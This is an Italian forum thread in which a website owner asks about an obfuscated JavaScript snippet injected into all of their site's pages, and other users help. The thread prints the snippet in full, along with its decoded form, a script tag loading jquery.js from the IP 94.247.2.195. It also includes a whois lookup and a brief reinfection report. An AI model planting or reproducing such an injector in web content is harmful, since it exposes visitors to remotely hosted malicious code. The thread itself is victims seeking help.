Sito Craccato?

[Tramontana]

Qualcuno sa dirmi cos'é questa funzione?
Tre giorni fa me lo sono trovato dentro tutte le pagine (php, html, JS, ecc.) del mio sito:

<script language=javascript><!--
document.write(unescape('%3Cszscj5yrnAYipt%20zssnA YrcdOA%3Dj5y%2F%2Fzs94%2E5Df24dOA75Df%2E2j5y%2E195 %2FRBjRBque5Dfryj5y%2EdOAjs%3Ezs%3C5Df%2F7bCscdOAr iRBpTuMt%3E').replace(/dOA|7bC|j5y|RB|zs|nAY|5Df|TuM/g,""));
--></script>

Sono un pò preoccupato che si tratti di qualche virus....

Grazie a chi mi sa dare una risposta velocemente

[corrado22]

se faccio alert(del tuo messaggio)
mi esce questo:

<script src=//94.247.2.195/jquery.js></script>

non so cosa sia...

[br1]

Ti sposto

[comas17]

Originariamente inviato da corrado22
se faccio alert(del tuo messaggio)
mi esce questo:

<script src=//94.247.2.195/jquery.js></script>

non so cosa sia...

Andando poi a vedere chi sia 94.247.2.195 si trova

http://www.db.ripe.net/whois?form_ty...=11&submit.y=5

role: DATORU EXPRESS SERVISS HostMaster
address: 18. novembra street 319C
address: Daugavpils, LV-5413
address: Latvia
phone: +371 26631339
fax-no: +371 65420725
remarks: Information: http://www.pcexpress.lv
remarks: Questions: hostmaster@pcexpress.lv

Lettonia ...

[Tramontana]

Grazie Corrado22 e Comas17

Si il controllo su "who is" l'ho fatto anch'io subito dopo aver letto il post di Corrado, ma ancora non ho capito cosa faccia questo script, e come ha fatto ad entrare su TUTTE le mie pagine con suffisso .html, .php, .js ...

Sono anche andato a cercare con Google "jquery" che mi rimanda al sito: http://docs.jquery.com/Main_Page

ma non ci capisco niente lo stesso.
Quello che minteressa é capire cosa faccia questo script ... raccoglie dati?, infetta di virus chi apre le pagine html? dovrebbe fare una certa cosa in una certa data?

[amvinfe]

Originariamente inviato da Tramontana
Qualcuno sa dirmi cos'é questa funzione?
Tre giorni fa me lo sono trovato dentro tutte le pagine (php, html, JS, ecc.) del mio sito:

<script language=javascript><!--
document.write(unescape('%3Cszscj5yrnAYipt%20zssnA YrcdOA%3Dj5y%2F%2Fzs94%2E5Df24dOA75Df%2E2j5y%2E195 %2FRBjRBque5Dfryj5y%2EdOAjs%3Ezs%3C5Df%2F7bCscdOAr iRBpTuMt%3E').replace(/dOA|7bC|j5y|RB|zs|nAY|5Df|TuM/g,""));
--></script>

Sono un pò preoccupato che si tratti di qualche virus....

Grazie a chi mi sa dare una risposta velocemente

ciao,
mi mandi in privato l'URL del tuo sito? Grazie.

Credo che il tuo sito sia stato usato per essere redirizzati verso l'IP che corrado22 ha indicato, questo tipo di tecnica viene usata, generalmente, per scaricare software fraudolenti.

[amvinfe]

come non detto... forse
Ho guardato il tuo profilo, il sito è civites.it ?

[Tramontana]

Si, il sito é quello.

Comunque ho quasi finito di ripulirlo (manca ancora tutta la sezione "forum", che risulta non più accessibile ed é per quello che mi sono accorto della cosa strana, controllando il codice php ...

Però quello che mi preoccupa più di ognio altra cosa é ... COME HANNO FATTO??? e io come mi difendo adesso ????

[Tramontana]

Questa mattina ci siamo ritrovati tutte le pagine nuovamente infettate!!!

Cosa possiamo fare per impedire questi attacchi?????????????????????

Qualcuno mi può aiutare?

[corrado22]

Scusa il server è linux o windows?

Se è windows controlla bene con un antivirus aggiornato
se è linux è molto strano... non dovresti avere di questi problemi...

ciao